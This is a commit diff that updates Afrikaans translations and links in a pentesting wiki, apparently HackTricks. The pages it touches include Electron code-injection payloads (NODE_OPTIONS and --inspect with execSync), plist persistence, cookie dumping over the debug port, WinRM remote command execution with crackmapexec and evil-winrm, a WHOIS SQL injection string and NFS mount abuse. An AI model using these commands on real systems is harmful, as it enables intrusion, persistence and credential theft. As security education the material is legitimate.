Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-01-11 18:56:49 +00:00
parent 6e742dc35f
commit ee0ca47294
37 changed files with 576 additions and 576 deletions

View File

@ -289,7 +289,7 @@
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]()
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]()
- [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
- [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
- [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
@ -692,9 +692,9 @@
# ⛈️ Cloud Security
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]()
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]()
# 😎 Hardware/Physical Access

View File

@ -4,7 +4,7 @@
## Basiese Inligting
As jy nie weet wat Electron is nie, kan jy [**baie inligting hier vind**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Maar vir nou moet jy net weet dat Electron **node** draai.\
As jy nie weet wat Electron is nie, kan jy [**baie inligting hier vind**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Maar vir nou moet jy net weet dat Electron **node** draai.\
En node het 'n paar **parameters** en **omgewing veranderlikes** wat gebruik kan word om **ander kode uit te voer** behalwe die aangeduide lêer.
### Electron Fuse
@ -13,11 +13,11 @@ Hierdie tegnieke sal volgende bespreek word, maar in onlangse tye het Electron v
- **`RunAsNode`**: As dit gedeaktiveer is, voorkom dit die gebruik van die omgewing veranderlike **`ELECTRON_RUN_AS_NODE`** om kode in te spuit.
- **`EnableNodeCliInspectArguments`**: As dit gedeaktiveer is, sal parameters soos `--inspect`, `--inspect-brk` nie gerespekteer word nie. Dit vermy hierdie manier om kode in te spuit.
- **`EnableEmbeddedAsarIntegrityValidation`**: As dit geaktiveer is, sal die gelaaide **`asar`** **lêer** deur macOS **gevalideer** word. **Dit voorkom** op hierdie manier **kode inspuiting** deur die inhoud van hierdie lêer te verander.
- **`OnlyLoadAppFromAsar`**: As dit geaktiveer is, sal dit in plaas daarvan om in die volgende volgorde te soek: **`app.asar`**, **`app`** en uiteindelik **`default_app.asar`**. Dit sal net app.asar nagaan en gebruik, wat verseker dat wanneer dit **gekombineer** word met die **`embeddedAsarIntegrityValidation`** fuse, dit **onmoontlik** is om **nie-gevalideerde kode** te **laai**.
- **`EnableEmbeddedAsarIntegrityValidation`**: As dit geaktiveer is, sal die gelaaide **`asar`** **lêer** deur macOS **gevalideer** word. **Dit voorkom** op hierdie manier **kode-inspuiting** deur die inhoud van hierdie lêer te wysig.
- **`OnlyLoadAppFromAsar`**: As dit geaktiveer is, sal dit slegs app.asar nagaan en gebruik, in plaas daarvan om in die volgende volgorde te soek: **`app.asar`**, **`app`** en uiteindelik **`default_app.asar`**. Dit verseker dat wanneer dit **gekombineer** word met die **`embeddedAsarIntegrityValidation`** fuse, dit **onmoontlik** is om **nie-gevalideerde kode** te **laai**.
- **`LoadBrowserProcessSpecificV8Snapshot`**: As dit geaktiveer is, gebruik die blaaiersproses die lêer genaamd `browser_v8_context_snapshot.bin` vir sy V8-snapshot.
Nog 'n interessante fuse wat nie kode inspuiting sal voorkom nie, is:
Nog 'n interessante fuse wat nie kode-inspuiting sal voorkom nie, is:
- **EnableCookieEncryption**: As dit geaktiveer is, word die koekie stoor op skyf geënkripteer met behulp van OS-vlak kriptografie sleutels.
@ -37,9 +37,9 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
```
### Modifisering van Electron Fuses
### Modifying Electron Fuses
Soos die [**dokumentasie noem**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), word die konfigurasie van die **Electron Fuses** binne die **Electron binêre** geconfigureer wat êrens die string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** bevat.
Soos die [**dokumentasie noem**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), is die konfigurasie van die **Electron Fuses** geconfigureer binne die **Electron binêre** wat êrens die string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** bevat.
In macOS toepassings is dit tipies in `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
```bash
@ -50,7 +50,7 @@ U kan hierdie lêer in [https://hexed.it/](https://hexed.it/) laai en soek na di
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
Let daarop dat as u probeer om die **`Electron Framework` binêre** binne 'n toepassing met hierdie bytes wat gewysig is, die app nie sal loop nie.
Let daarop dat as u probeer om die **`Electron Framework`** binêre binne 'n toepassing met hierdie bytes wat gewysig is, die app nie sal loop nie.
## RCE voeg kode by Electron Toepassings
@ -123,13 +123,13 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
```
> [!CAUTION]
> As die fuse **`EnableNodeOptionsEnvironmentVariable`** **deaktiveer** is, sal die app die env var **NODE_OPTIONS** **ignore** wanneer dit gelaai word, tensy die env variabele **`ELECTRON_RUN_AS_NODE`** gestel is, wat ook **geignore** sal word as die fuse **`RunAsNode`** deaktiveer is.
> As die fuse **`EnableNodeOptionsEnvironmentVariable`** **deaktiveer** is, sal die app die env var **NODE_OPTIONS** **ignore** wanneer dit gelaai word, tensy die env variable **`ELECTRON_RUN_AS_NODE`** gestel is, wat ook **geignore** sal word as die fuse **`RunAsNode`** deaktiveer is.
>
> As jy nie **`ELECTRON_RUN_AS_NODE`** stel nie, sal jy die **fout** vind: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
### Inspuiting vanaf die App Plist
Jy kan hierdie env variabele in 'n plist misbruik om volharding te handhaaf deur hierdie sleutels by te voeg:
Jy kan hierdie env variable in 'n plist misbruik om volharding te handhaaf deur hierdie sleutels by te voeg:
```xml
<dict>
<key>EnvironmentVariables</key>
@ -147,7 +147,7 @@ Jy kan hierdie env variabele in 'n plist misbruik om volharding te handhaaf deur
```
## RCE met inspeksie
Volgens [**hierdie**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kan jy 'n Electron-toepassing uitvoer met vlae soos **`--inspect`**, **`--inspect-brk`** en **`--remote-debugging-port`**, 'n **debug-poort sal oop wees** sodat jy daarop kan aansluit (byvoorbeeld vanaf Chrome in `chrome://inspect`) en jy sal in staat wees om **kode daarop in te spuit** of selfs nuwe prosesse te begin.\
Volgens [**hierdie**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kan jy 'n Electron-toepassing uitvoer met vlae soos **`--inspect`**, **`--inspect-brk`** en **`--remote-debugging-port`**, 'n **debug-poort sal oop wees** sodat jy daarop kan aansluit (byvoorbeeld van Chrome in `chrome://inspect`) en jy sal in staat wees om **kode daarop in te spuit** of selfs nuwe prosesse te begin.\
Byvoorbeeld:
```bash
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
@ -159,7 +159,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
>
> U kan egter steeds die **electron param `--remote-debugging-port=9229`** gebruik, maar die vorige payload sal nie werk om ander prosesse uit te voer nie.
Met die param **`--remote-debugging-port=9222`** is dit moontlik om 'n paar inligting van die Electron App te steel, soos die **geskiedenis** (met GET-opdragte) of die **koekies** van die blaaier (aangesien hulle **ontsleuteld** binne die blaaiers is en daar 'n **json eindpunt** is wat hulle sal gee).
Deur die param **`--remote-debugging-port=9222`** te gebruik, is dit moontlik om sekere inligting van die Electron App te steel, soos die **geskiedenis** (met GET-opdragte) of die **koekies** van die blaaier (aangesien dit **ontsleuteld** binne die blaaiers is en daar 'n **json eindpunt** is wat hulle sal gee).
U kan leer hoe om dit te doen in [**hier**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) en [**hier**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) en die outomatiese hulpmiddel [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) of 'n eenvoudige skrip soos:
```python
@ -199,7 +199,7 @@ Daarom, as jy voorregte wil misbruik om toegang tot die kamera of mikrofoon te v
## Outomatiese Inspuiting
Die hulpmiddel [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kan maklik gebruik word om **kwulnerable electron-toepassings** wat geïnstalleer is te vind en kode daarop in te spuit. Hierdie hulpmiddel sal probeer om die **`--inspect`** tegniek te gebruik:
Die hulpmiddel [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kan maklik gebruik word om **kwesbare electron-toepassings** wat geïnstalleer is te vind en kode daarop in te spuit. Hierdie hulpmiddel sal probeer om die **`--inspect`** tegniek te gebruik:
Jy moet dit self saamstel en kan dit soos volg gebruik:
```bash

View File

@ -4,9 +4,9 @@
## Basiese Inligting
Die **Ident Protokol** word oor die **Internet** gebruik om 'n **TCP-verbinding** met 'n spesifieke gebruiker te assosieer. Oorspronklik ontwerp om te help met **netwerkbestuur** en **veiligheid**, werk dit deur 'n bediener toe te laat om 'n kliënt op poort 113 te vra om inligting oor die gebruiker van 'n bepaalde TCP-verbinding aan te vra.
Die **Ident Protokol** word oor die **Internet** gebruik om 'n **TCP-verbinding** met 'n spesifieke gebruiker te assosieer. Oorspronklik ontwerp om te help met **netwerkbestuur** en **veiligheid**, werk dit deur 'n bediener toe te laat om 'n kliënt op poort 113 te ondervra om inligting oor die gebruiker van 'n spesifieke TCP-verbinding aan te vra.
Egter, as gevolg van moderne privaatheidskwessies en die potensiaal vir misbruik, het die gebruik daarvan afgeneem aangesien dit per ongeluk gebruikersinligting aan ongemagtigde partye kan onthul. Verbeterde veiligheidsmaatreëls, soos versleutelde verbintenisse en streng toegangbeheer, word aanbeveel om hierdie risiko's te verminder.
Egter, as gevolg van moderne privaatheidskwessies en die potensiaal vir misbruik, het die gebruik daarvan afgeneem aangesien dit per ongeluk gebruikersinligting aan ongemagtigde partye kan openbaar. Verbeterde veiligheidsmaatreëls, soos versleutelde verbintenisse en streng toegangbeheer, word aanbeveel om hierdie risiko's te verminder.
**Standaard poort:** 113
```
@ -17,7 +17,7 @@ PORT STATE SERVICE
### **Handmatig - Kry gebruiker/Identifiseer die diens**
As 'n masjien die diens ident en samba (445) draai en jy is verbind met samba deur die poort 43218. Jy kan sien watter gebruiker die samba diens draai deur:
As 'n masjien die diens ident en samba (445) draai en jy is verbind met samba deur die poort 43218. Jy kan uitvind watter gebruiker die samba diens draai deur:
![](<../images/image (843).png>)
@ -78,7 +78,7 @@ Description: Notes for Ident
Note: |
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html
Entry_2:
Name: Enum Users

View File

@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp).
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html
Entry_2:
Name: Find Names

View File

@ -4,7 +4,7 @@
## Basiese Inligting
Oracle databasis (Oracle DB) is 'n relationele databasisbestuurstelsel (RDBMS) van die Oracle Korporasie (van [hier](https://www.techopedia.com/definition/8711/oracle-database)).
Oracle-databasis (Oracle DB) is 'n relationele databasisbestuurstelsel (RDBMS) van die Oracle Corporation (van [hier](https://www.techopedia.com/definition/8711/oracle-database)).
Wanneer jy Oracle opnoem, is die eerste stap om met die TNS-Listener te praat wat gewoonlik op die standaardpoort (1521/TCP, -jy mag ook sekondêre listeners op 15221529 kry-).
```
@ -13,11 +13,11 @@ Wanneer jy Oracle opnoem, is die eerste stap om met die TNS-Listener te praat wa
```
## Samevatting
1. **Weergawe-Enumerasie**: Identifiseer weergawe-inligting om vir bekende kwesbaarhede te soek.
1. **Weergawe Enumerasie**: Identifiseer weergawe-inligting om na bekende kwesbaarhede te soek.
2. **TNS Listener Bruteforce**: Soms nodig om kommunikasie te vestig.
3. **SID Naam Enumerasie/Bruteforce**: Ontdek databasisname (SID).
4. **Geloofsbriewe Bruteforce**: Probeer om toegang te verkry tot ontdekte SID.
5. **Kode-uitvoering**: Probeer om kode op die stelsel uit te voer.
5. **Kode Uitvoering**: Probeer om kode op die stelsel uit te voer.
Om MSF oracle modules te gebruik, moet jy 'n paar afhanklikhede installeer: [**Installasie**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap

View File

@ -4,20 +4,20 @@
## Basiese Inligting
Oracle databasis (Oracle DB) is 'n relationele databasisbestuurstelsel (RDBMS) van die Oracle Korporasie (van [hier](https://www.techopedia.com/definition/8711/oracle-database)).
Oracle-databasis (Oracle DB) is 'n relationele databasisbestuurstelsel (RDBMS) van die Oracle Corporation (van [hier](https://www.techopedia.com/definition/8711/oracle-database)).
Wanneer jy Oracle opnoem, is die eerste stap om met die TNS-Listener te praat wat gewoonlik op die standaardpoort (1521/TCP, -jy mag ook sekondêre listeners op 15221529 kry-).
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
```
## Samevat
## Samevatting
1. **Weergawe-Enumerasie**: Identifiseer weergawe-inligting om vir bekende kwesbaarhede te soek.
1. **Weergawe Enumerasie**: Identifiseer weergawe-inligting om na bekende kwesbaarhede te soek.
2. **TNS Listener Bruteforce**: Soms nodig om kommunikasie te vestig.
3. **SID Naam Enumerasie/Bruteforce**: Ontdek databasisname (SID).
4. **Geloofsbriewe Bruteforce**: Probeer om toegang te verkry tot ontdekte SID.
5. **Kode-uitvoering**: Probeer om kode op die stelsel uit te voer.
5. **Kode Uitvoering**: Probeer om kode op die stelsel uit te voer.
Om MSF oracle modules te gebruik, moet jy 'n paar afhanklikhede installeer: [**Installasie**](oracle-pentesting-requirements-installation.md)
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap

View File

@ -18,11 +18,11 @@ Kry al die inligting wat 'n whois-diens oor 'n domein het:
whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT>
```
Let wel dat soms wanneer 'n versoek vir inligting aan 'n WHOIS-diens gemaak word, die databasis wat gebruik word in die antwoord verskyn:
Let wel dat wanneer daar soms gevraag word om inligting van 'n WHOIS-diens, die databasis wat gebruik word in die antwoord verskyn:
![](<../images/image (301).png>)
Ook, die WHOIS-diens moet altyd 'n **databasis** gebruik om die inligting te stoor en te onttrek. So, 'n moontlike **SQLInjection** kan teenwoordig wees wanneer **gevraagde** die databasis van inligting wat deur die gebruiker verskaf is. Byvoorbeeld, deur te doen: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` kan jy in staat wees om **alle** die **inligting** wat in die databasis gestoor is, te **onttrek**.
Ook, die WHOIS-diens moet altyd 'n **databasis** gebruik om die inligting te stoor en te onttrek. So, 'n moontlike **SQLInjection** kan teenwoordig wees wanneer **gevraag** word na die databasis van inligting wat deur die gebruiker verskaf is. Byvoorbeeld, deur te doen: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` kan jy in staat wees om **alle** die **inligting** wat in die databasis gestoor is, te **onttrek**.
## Shodan
@ -41,7 +41,7 @@ Note: |
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab

View File

@ -9,7 +9,7 @@ Hierdie poort word deur **Redshift** gebruik om te loop. Dit is basies 'n AWS va
Vir meer inligting, kyk:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,9 +4,9 @@
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) word beklemtoon as 'n **protokol deur Microsoft** wat die **afstandbestuur van Windows-stelsels** deur HTTP(S) moontlik maak, met SOAP in die proses. Dit is fundamenteel aangedryf deur WMI, wat homself as 'n HTTP-gebaseerde koppelvlak vir WMI-operasies aanbied.
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) word beklemtoon as 'n **protokol deur Microsoft** wat die **afstandbestuur van Windows-stelsels** deur HTTP(S) moontlik maak, met SOAP wat in die proses benut word. Dit is fundamenteel aangedryf deur WMI, wat homself as 'n HTTP-gebaseerde koppelvlak vir WMI-operasies aanbied.
Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afstandadministrasie via PowerShell, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk:
Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik om eenvoudige afstandadministrasie deur PowerShell uit te voer, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
@ -15,7 +15,7 @@ Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afs
### **Begin 'n WinRM-sessie**
Om PowerShell vir WinRM te konfigureer, kom Microsoft se `Enable-PSRemoting` cmdlet in die spel, wat die rekenaar opstel om afstand PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te stel en enige gasheer as vertroulik aan te dui:
Om PowerShell vir WinRM te konfigureer, kom Microsoft se `Enable-PSRemoting` cmdlet in die spel, wat die rekenaar opstel om afstand PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te skakel en enige gasheer as vertroulik aan te dui:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
@ -30,7 +30,7 @@ Hierdie metode stel die afstandsopstelling van WinRM in staat, wat die buigsaamh
### Toets of geconfigureer
Om die opstelling van jou aanvalmasjien te verifieer, word die `Test-WSMan` opdrag gebruik om te kontroleer of die teiken WinRM korrek geconfigureer is. Deur hierdie opdrag uit te voer, moet jy verwag om besonderhede te ontvang rakende die protokolweergawe en wsmid, wat suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitvoer vir 'n geconfigureerde teiken teenoor 'n ongeconfigureerde een demonstreer:
Om die opstelling van jou aanvalmasjien te verifieer, word die `Test-WSMan` opdrag gebruik om te kontroleer of die teiken WinRM korrek geconfigureer het. Deur hierdie opdrag uit te voer, moet jy verwag om besonderhede te ontvang rakende die protokolweergawe en wsmid, wat suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitvoer vir 'n geconfigureerde teiken teenoor 'n ongeconfigureerde een demonstreer:
- Vir 'n teiken wat **is** korrek geconfigureer, sal die uitvoer soos volg lyk:
```bash
@ -40,7 +40,7 @@ Die antwoord moet inligting bevat oor die protokolweergawe en wsmid, wat aandui
![](<../images/image (582).png>)
- Omgekeerd, vir 'n teiken wat **nie** vir WinRM geconfigureer is nie, sal dit lei tot geen sulke gedetailleerde inligting nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon.
- Omgekeerd, vir 'n teiken wat **nie** vir WinRM geconfigureer is nie, sal dit geen sulke gedetailleerde inligting oplewer nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon.
![](<../images/image (458).png>)
@ -52,11 +52,11 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
![](<../images/image (151).png>)
Jy kan ook **'n opdrag van jou huidige PS-konsol uitvoer via** _**Invoke-Command**_. Neem aan dat jy plaaslik 'n funksie genaamd _**enumeration**_ het en jy wil dit **in 'n afstandrekenaar uitvoer**, jy kan doen:
Jy kan ook **'n opdrag van jou huidige PS-konsol uitvoer via** _**Invoke-Command**_. Neem aan dat jy plaaslik 'n funksie genaamd _**enumeration**_ het en jy wil dit **in 'n afstandrekenaar uitvoer**, kan jy doen:
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### Voer 'n Skrip Uit
### Voer 'n Skrip uit
```powershell
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
@ -87,7 +87,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
**Die sessie sal in 'n nuwe proses (wsmprovhost) binne die "slagoffer" loop**
### **WinRM Dwing om Oop te Maak**
### **WinRM Dwing om Oop te Wees**
Om PS Remoting en WinRM te gebruik, maar die rekenaar is nie gekonfigureer nie, kan jy dit aktiveer met:
```powershell
@ -115,7 +115,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
As jy die volgende fout vind:
`enter-pssession : Verbinding met die afstandsbediener 10.10.10.175 het gefaal met die volgende foutboodskap : Die WinRM-kliënt kan die versoek nie verwerk nie. As die verifikasieskema verskil van Kerberos, of as die kliëntrekenaar nie aan 'n domein behoort nie, moet HTTPS-vervoer gebruik word of die bestemmingsmasjien moet by die TrustedHosts-konfigurasie-instelling gevoeg word. Gebruik winrm.cmd om TrustedHosts te konfigureer. Let daarop dat rekenaars in die TrustedHosts-lys moontlik nie geverifieer is nie. Jy kan meer inligting daaroor kry deur die volgende opdrag uit te voer: winrm help config. Vir meer inligting, sien die about_Remote_Troubleshooting Help onderwerp.`
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
Die poging op die kliënt (inligting van [hier](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
@ -138,7 +138,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
### Gebruik van evil-winrm
### Gebruik evil-winrm
```ruby
gem install evil-winrm
```
@ -254,7 +254,7 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2:
Name: Hydra Brute Force

View File

@ -8,9 +8,9 @@
'n Opmerklike aspek van hierdie protokol is die gebrek aan ingeboude **verifikasie** of **autorisasiemeganismes**. In plaas daarvan, berus autorisasie op **lêerstelselinligting**, met die bediener wat verantwoordelik is om **klient-gelewer gebruikersinligting** akkuraat in die lêerstelsel se vereiste **autorisasieformaat** te vertaal, hoofsaaklik volgens **UNIX-sintaksis**.
Verifikasie berus algemeen op **UNIX `UID`/`GID` identifiseerders en groepslidmaatskappe**. egter, ontstaan 'n uitdaging weens die potensiële wanpassing in **`UID`/`GID` kaarte** tussen kliënte en bedieners, wat geen ruimte laat vir addisionele verifikasie deur die bediener nie. Gevolglik is die protokol die beste geskik vir gebruik binne **vertroude netwerke**, gegewe sy afhanklikheid van hierdie metode van verifikasie.
Verifikasie berus algemeen op **UNIX `UID`/`GID` identifiseerders en groepslidmaatskappe**. egter, 'n uitdaging ontstaan weens die potensiële wanpassing in **`UID`/`GID` kaarte** tussen kliënte en bedieners, wat geen ruimte laat vir addisionele verifikasie deur die bediener nie. Gevolglik is die protokol die beste geskik vir gebruik binne **vertroude netwerke**, gegewe sy afhanklikheid van hierdie metode van verifikasie.
**Standaardpoort**: 2049/TCP/UDP (behalwe weergawe 4, dit benodig net TCP of UDP).
**Standaard poort**: 2049/TCP/UDP (behalwe weergawe 4, dit benodig net TCP of UDP).
```
2049/tcp open nfs 2-3 (RPC #100003
```
@ -20,7 +20,7 @@ Verifikasie berus algemeen op **UNIX `UID`/`GID` identifiseerders en groepslidma
- **NFSv3**: Ingevoerd met 'n reeks verbeterings, het NFSv3 op sy voorganger uitgebrei deur veranderlike lêergroottes te ondersteun en verbeterde foutverslagmeganismes aan te bied. Ten spyte van sy vooruitgang, het dit beperkings in volle terugwaartse kompatibiliteit met NFSv2-kliënte ondervind.
- **NFSv4**: 'n Mylpaalweergawe in die NFS-reeks, het NFSv4 'n stel funksies gebring wat ontwerp is om lêerdeling oor netwerke te moderniseer. Opmerklike verbeterings sluit die integrasie van Kerberos vir **hoë sekuriteit**, die vermoë om vuurmure te oorkom en oor die Internet te werk sonder die behoefte aan portmappers, ondersteuning vir Toegang Beheer Lyste (ACL's), en die bekendstelling van staat-gebaseerde bedrywighede in. Sy prestasieverbeterings en die aanneming van 'n staatlike protokol onderskei NFSv4 as 'n belangrike vooruitgang in netwerk lêerdeling tegnologieë.
- **NFSv4**: 'n Mylpaalweergawe in die NFS-reeks, het NFSv4 'n reeks funksies gebring wat ontwerp is om lêerdeling oor netwerke te moderniseer. Opmerklike verbeterings sluit die integrasie van Kerberos vir **hoë sekuriteit**, die vermoë om vuurmure te oorkom en oor die Internet te werk sonder die behoefte aan portmappers, ondersteuning vir Toegang Beheer Lyste (ACL's), en die bekendstelling van staat-gebaseerde bedrywighede in. Sy prestasieverbeterings en die aanneming van 'n staatlike protokol onderskei NFSv4 as 'n belangrike vooruitgang in netwerk lêerdeling tegnologieë.
Elke weergawe van NFS is ontwikkel met die doel om die ontwikkelende behoeftes van netwerkomgewings aan te spreek, wat progressief sekuriteit, kompatibiliteit en prestasie verbeter.
@ -36,9 +36,9 @@ nfs-statfs #Disk statistics and info from NFS share
```bash
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### Mounting
### Montering
Om te weet **watter vouer** die bediener **beskikbaar** het om te monteer, kan jy dit vra met:
Om te weet **watter gids** die bediener **beskikbaar** het om te monteer, kan jy dit vra met:
```bash
showmount -e <IP>
```
@ -46,7 +46,7 @@ Dan monteer dit met:
```bash
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
```
U moet spesifiseer om **weergawe 2** te gebruik omdat dit **geen** **verifikasie** of **outorisering** het nie.
U moet spesifiseer om **weergawe 2** te **gebruik** omdat dit **geen** **verifikasie** of **outorisering** het.
**Voorbeeld:**
```bash
@ -78,7 +78,7 @@ Om maklik te lys, te monteer en UID en GID te verander om toegang tot lêers te
- **Eienaarskap van Wortellêers (`no_root_squash`):** Met hierdie instelling behou lêers wat deur die wortelgebruiker geskep is, hul oorspronklike UID/GID van 0, wat die beginsel van die minste voorregte ignoreer en moontlik oormatige regte toeken.
- **Nie-Squashing van Alle Gebruikers (`no_all_squash`):** Hierdie opsie verseker dat gebruikersidentiteite oor die stelsel behou word, wat tot toestemming- en toegangbeheerprobleme kan lei as dit nie korrek hanteer word nie.
